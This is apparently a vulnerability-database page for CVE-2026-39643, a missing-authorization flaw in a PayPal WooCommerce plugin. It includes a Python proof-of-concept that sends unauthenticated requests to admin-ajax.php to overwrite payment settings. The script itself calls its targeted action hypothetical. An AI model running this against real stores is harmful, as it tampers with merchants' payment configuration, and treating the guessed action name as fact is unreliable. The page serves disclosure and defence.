Security Vulnerability Report
中文
CVE-2026-39643 CVSS 5.3 MEDIUM

CVE-2026-39643

Published: 2026-04-08 09:16:35
Last Modified: 2026-04-24 18:06:25

Description

Missing Authorization vulnerability in Payment Plugins Payment Plugins for PayPal WooCommerce pymntpl-paypal-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Payment Plugins for PayPal WooCommerce: from n/a through <= 2.0.13.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Payment Plugins for PayPal WooCommerce <= 2.0.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # Payload demonstrating the lack of authorization # This payload targets a hypothetical vulnerable action within the plugin payload = { "action": "pymntpl_paypal_update_settings", # Example action vulnerable to BAC "setting_key": "payment_status", "setting_value": "hijacked" } try: # Send request without authentication cookies (PR:N) response = requests.post(target_url, data=payload, timeout=10) # Check if request was successful (indicating potential exploit) if response.status_code == 200 and "success" in response.text: print("[+] Vulnerability exploited! Settings potentially modified.") else: print("[-] Exploit failed or patched.") except Exception as e: print(f"[!] Error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39643", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:35.077", "lastModified": "2026-04-24T18:06:24.707", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Payment Plugins Payment Plugins for PayPal WooCommerce pymntpl-paypal-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Payment Plugins for PayPal WooCommerce: from n/a through <= 2.0.13."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/pymntpl-paypal-woocommerce/vulnerability/wordpress-payment-plugins-for-paypal-woocommerce-plugin-2-0-13-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}